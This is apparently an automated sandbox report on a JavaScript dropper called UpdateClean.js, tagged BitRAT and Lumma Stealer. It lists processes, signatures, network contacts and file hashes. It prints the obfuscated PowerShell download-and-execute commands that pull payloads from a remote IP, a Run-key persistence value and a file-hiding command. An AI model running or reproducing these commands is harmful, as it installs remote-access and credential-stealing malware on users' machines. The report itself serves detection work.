Malware Analysis Report

2024-09-22 21:58

Sample ID 240425-1vdfjsff4x
Target UpdateClean.js
SHA256 b3bdd33dcaf6d7453e5aca839f814ba5754b7b4f5b119890c8f4a16bf149c9ad
Tags
bitrat lumma persistence stealer trojan upx
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

b3bdd33dcaf6d7453e5aca839f814ba5754b7b4f5b119890c8f4a16bf149c9ad

Threat Level: Known bad

The file UpdateClean.js was found to be: Known bad.

Malicious Activity Summary

bitrat lumma persistence stealer trojan upx

BitRAT

Lumma Stealer

Blocklisted process makes network request

UPX packed file

Checks computer location settings

Adds Run key to start application

Suspicious use of NtSetInformationThreadHideFromDebugger

Suspicious use of SetThreadContext

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Suspicious use of SetWindowsHookEx

Suspicious use of AdjustPrivilegeToken

Views/modifies file attributes

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK Matrix V13

Analysis: static1

Detonation Overview

Reported

2024-04-25 21:57

Signatures

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-04-25 21:57

Reported

2024-04-25 22:00

Platform

win10v2004-20240226-en

Max time kernel

151s

Max time network

157s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\UpdateClean.js

Signatures

BitRAT

trojan bitrat

Lumma Stealer

stealer lumma

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "wscript //E:VBScript C:\\Users\\Public\\0x.log //Nologo" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4416 wrote to memory of 1448 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4416 wrote to memory of 1448 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4416 wrote to memory of 408 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4416 wrote to memory of 408 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 408 wrote to memory of 2828 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 408 wrote to memory of 2828 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 408 wrote to memory of 2828 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 408 wrote to memory of 2828 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 408 wrote to memory of 2828 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 408 wrote to memory of 2828 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 408 wrote to memory of 2828 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 408 wrote to memory of 2828 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 408 wrote to memory of 2828 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 1448 wrote to memory of 3888 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 1448 wrote to memory of 3888 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 3888 wrote to memory of 2176 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\attrib.exe
PID 3888 wrote to memory of 2176 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\attrib.exe
PID 1448 wrote to memory of 4416 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 1448 wrote to memory of 4416 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 1448 wrote to memory of 4416 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 1448 wrote to memory of 1604 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 1448 wrote to memory of 1604 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 1448 wrote to memory of 1604 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 1448 wrote to memory of 2216 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 1448 wrote to memory of 2216 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 1448 wrote to memory of 2216 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 1448 wrote to memory of 2216 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 1448 wrote to memory of 2216 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 1448 wrote to memory of 2216 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 1448 wrote to memory of 2216 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\attrib.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\UpdateClean.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://77.221.151.31/a/z.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://77.221.151.31/a/s.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c attrib +h C:\Users\Public\0x.log

C:\Windows\system32\attrib.exe

attrib +h C:\Users\Public\0x.log

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3756 --field-trial-handle=2248,i,10247514684337323751,15511974759131734137,262144 --variations-seed-version /prefetch:8

Network

Country Destination Domain Proto
RU 77.221.151.31:80 77.221.151.31 tcp
RU 77.221.151.31:80 77.221.151.31 tcp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 31.151.221.77.in-addr.arpa udp
US 8.8.8.8:53 133.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 strollheavengwu.shop udp
US 172.67.163.209:443 strollheavengwu.shop tcp
US 8.8.8.8:53 209.163.67.172.in-addr.arpa udp
US 8.8.8.8:53 2.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 productivelookewr.shop udp
US 104.21.11.250:443 productivelookewr.shop tcp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 tolerateilusidjukl.shop udp
US 8.8.8.8:53 250.11.21.104.in-addr.arpa udp
US 172.67.147.41:443 tolerateilusidjukl.shop tcp
US 20.231.121.79:80 tcp
US 8.8.8.8:53 41.147.67.172.in-addr.arpa udp
US 8.8.8.8:53 shatterbreathepsw.shop udp
US 104.21.95.19:443 shatterbreathepsw.shop tcp
US 8.8.8.8:53 shortsvelventysjo.shop udp
US 172.67.216.69:443 shortsvelventysjo.shop tcp
US 8.8.8.8:53 19.95.21.104.in-addr.arpa udp
US 8.8.8.8:53 incredibleextedwj.shop udp
US 172.67.218.63:443 incredibleextedwj.shop tcp
US 8.8.8.8:53 alcojoldwograpciw.shop udp
US 172.67.157.23:443 alcojoldwograpciw.shop tcp
US 8.8.8.8:53 69.216.67.172.in-addr.arpa udp
US 8.8.8.8:53 63.218.67.172.in-addr.arpa udp
US 8.8.8.8:53 liabilitynighstjsko.shop udp
US 172.67.192.138:443 liabilitynighstjsko.shop tcp
US 8.8.8.8:53 demonstationfukewko.shop udp
US 8.8.8.8:53 23.157.67.172.in-addr.arpa udp
US 8.8.8.8:53 138.192.67.172.in-addr.arpa udp
US 172.67.147.169:443 demonstationfukewko.shop tcp
US 8.8.8.8:53 169.147.67.172.in-addr.arpa udp
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 13.107.246.64:443 tcp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 65.139.73.23.in-addr.arpa udp
RU 77.221.151.31:4444 tcp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 134.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 48.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 14.173.189.20.in-addr.arpa udp

Files

memory/408-0-0x00000295FDE70000-0x00000295FDE92000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sbhzsdpj.ook.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/408-15-0x00007FF9D5CB0000-0x00007FF9D6771000-memory.dmp

memory/408-20-0x0000029598670000-0x0000029598680000-memory.dmp

memory/1448-21-0x00007FF9D5CB0000-0x00007FF9D6771000-memory.dmp

memory/1448-22-0x000001763A050000-0x000001763A060000-memory.dmp

memory/408-23-0x0000029598670000-0x0000029598680000-memory.dmp

memory/408-24-0x0000029598670000-0x0000029598680000-memory.dmp

memory/408-25-0x000002959A950000-0x000002959A95E000-memory.dmp

memory/2828-26-0x0000000000400000-0x000000000044E000-memory.dmp

memory/408-29-0x00007FF9D5CB0000-0x00007FF9D6771000-memory.dmp

memory/2828-32-0x0000000000400000-0x000000000044E000-memory.dmp

memory/2828-33-0x0000000000400000-0x000000000044E000-memory.dmp

C:\Users\Public\0x.log

MD5 d2e9de8671fd61605ff5f8b8f3249d6b
SHA1 38dc0accb9c561c4f2ed9cc565f73a09eb84e81c
SHA256 fcdaa801a02c05faa8e09a1abb75ab4b8b4a57e1d097cc5feb63b95280230e5c
SHA512 413abbf5eb1a19fec41bbf31cfa524a8c88f049ae624c2b8f8cd40b3dc6ca37b99a45e74cfcb3422bee104e218ebc6b3d38f22b5b9afbd967545aa862b15a106

memory/1448-35-0x00007FF9D5CB0000-0x00007FF9D6771000-memory.dmp

memory/2828-36-0x0000000000400000-0x000000000044E000-memory.dmp

memory/1448-37-0x000001763A050000-0x000001763A060000-memory.dmp

memory/1448-38-0x000001763A050000-0x000001763A060000-memory.dmp

memory/1448-39-0x000001763A050000-0x000001763A060000-memory.dmp

memory/2216-40-0x0000000000400000-0x00000000007D3000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

memory/2216-45-0x0000000000400000-0x00000000007D3000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 9370680d9e75f9273830871b94aff80d
SHA1 0af89e92ff564c0bde6e1efa6e4e2d91e6d90fa3
SHA256 4300d4dc2ece67f8a9e2c6a70c1b8eedb977c1bdf7a8a5be4e7f7e5afb55d27c
SHA512 b4b497f9b7b27b018e94fb6ec6ff6143fcb26a298e82d4146b05402354b2345118955fa0f9160aa56102d413a22a58a102d11748491727e1830e06a686e04af1

memory/2216-46-0x0000000000400000-0x00000000007D3000-memory.dmp

memory/1448-47-0x00007FF9D5CB0000-0x00007FF9D6771000-memory.dmp

memory/2216-41-0x0000000000400000-0x00000000007D3000-memory.dmp

memory/2216-48-0x0000000000400000-0x00000000007D3000-memory.dmp

memory/2216-49-0x0000000000400000-0x00000000007D3000-memory.dmp

memory/2216-50-0x0000000074D50000-0x0000000074D89000-memory.dmp

memory/2216-51-0x0000000000400000-0x00000000007D3000-memory.dmp

memory/2216-52-0x0000000000400000-0x00000000007D3000-memory.dmp

memory/2216-54-0x0000000000400000-0x00000000007D3000-memory.dmp

memory/2216-53-0x0000000000400000-0x00000000007D3000-memory.dmp

memory/2216-55-0x0000000000400000-0x00000000007D3000-memory.dmp

memory/2216-56-0x0000000000400000-0x00000000007D3000-memory.dmp

memory/2216-57-0x0000000000400000-0x00000000007D3000-memory.dmp

memory/2216-58-0x00000000750D0000-0x0000000075109000-memory.dmp

memory/2216-59-0x0000000000400000-0x00000000007D3000-memory.dmp

memory/2216-60-0x0000000000400000-0x00000000007D3000-memory.dmp

memory/2216-61-0x0000000000400000-0x00000000007D3000-memory.dmp

memory/2216-62-0x0000000000400000-0x00000000007D3000-memory.dmp

memory/2216-64-0x0000000000400000-0x00000000007D3000-memory.dmp

memory/2216-65-0x0000000000400000-0x00000000007D3000-memory.dmp

memory/2216-66-0x0000000000400000-0x00000000007D3000-memory.dmp

memory/2216-67-0x0000000000400000-0x00000000007D3000-memory.dmp

memory/2216-68-0x0000000000400000-0x00000000007D3000-memory.dmp

memory/2216-69-0x0000000000400000-0x00000000007D3000-memory.dmp

memory/2216-70-0x0000000000400000-0x00000000007D3000-memory.dmp

memory/2216-71-0x0000000000400000-0x00000000007D3000-memory.dmp

memory/2216-73-0x0000000000400000-0x00000000007D3000-memory.dmp

memory/2216-74-0x0000000000400000-0x00000000007D3000-memory.dmp

memory/2216-75-0x0000000000400000-0x00000000007D3000-memory.dmp

memory/2216-76-0x0000000000400000-0x00000000007D3000-memory.dmp

memory/2216-77-0x0000000000400000-0x00000000007D3000-memory.dmp

memory/2216-78-0x0000000000400000-0x00000000007D3000-memory.dmp

memory/2216-79-0x0000000000400000-0x00000000007D3000-memory.dmp

memory/2216-81-0x0000000000400000-0x00000000007D3000-memory.dmp

memory/2216-85-0x0000000000400000-0x00000000007D3000-memory.dmp

memory/2216-89-0x0000000000400000-0x00000000007D3000-memory.dmp

memory/2216-93-0x0000000000400000-0x00000000007D3000-memory.dmp

memory/2216-97-0x0000000000400000-0x00000000007D3000-memory.dmp

memory/2216-101-0x0000000000400000-0x00000000007D3000-memory.dmp

memory/2216-105-0x0000000000400000-0x00000000007D3000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2024-04-25 21:57

Reported

2024-04-25 22:00

Platform

win7-20240221-en

Max time kernel

117s

Max time network

119s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\UpdateClean.js

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\UpdateClean.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://77.221.151.31/a/z.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://77.221.151.31/a/s.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X

Network

Country Destination Domain Proto
RU 77.221.151.31:80 77.221.151.31 tcp
RU 77.221.151.31:80 77.221.151.31 tcp

Files

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 fee4a643e363bb2997a3fcc51dccc48f
SHA1 73ae7b113e359dc2d9becbb8f5d47b3788c4bd45
SHA256 d20520d27214bfa5de02369fb4245272cc005d1352e1e0c9df2bfed7fdb91429
SHA512 2ef785d4af94324bfe3a3995527841018314269feadc0b0703b3de27a972d3dbf2ae58070a56dda01b0292d97c54441150cdd7f408c5a7146a818592f14feebc

memory/2480-10-0x0000000002990000-0x0000000002998000-memory.dmp

memory/3012-9-0x000000001B750000-0x000000001BA32000-memory.dmp

memory/3012-11-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

memory/3012-12-0x00000000028A0000-0x0000000002920000-memory.dmp

memory/3012-13-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

memory/2480-14-0x0000000002B50000-0x0000000002BD0000-memory.dmp

memory/2480-19-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

memory/3012-18-0x00000000028A0000-0x0000000002920000-memory.dmp

memory/2480-17-0x0000000002B50000-0x0000000002BD0000-memory.dmp

memory/2480-16-0x0000000002B50000-0x0000000002BD0000-memory.dmp

memory/2480-15-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

memory/2480-20-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

memory/3012-21-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

memory/3012-22-0x00000000028A0000-0x0000000002920000-memory.dmp

memory/3012-23-0x00000000028A0000-0x0000000002920000-memory.dmp

memory/3012-24-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp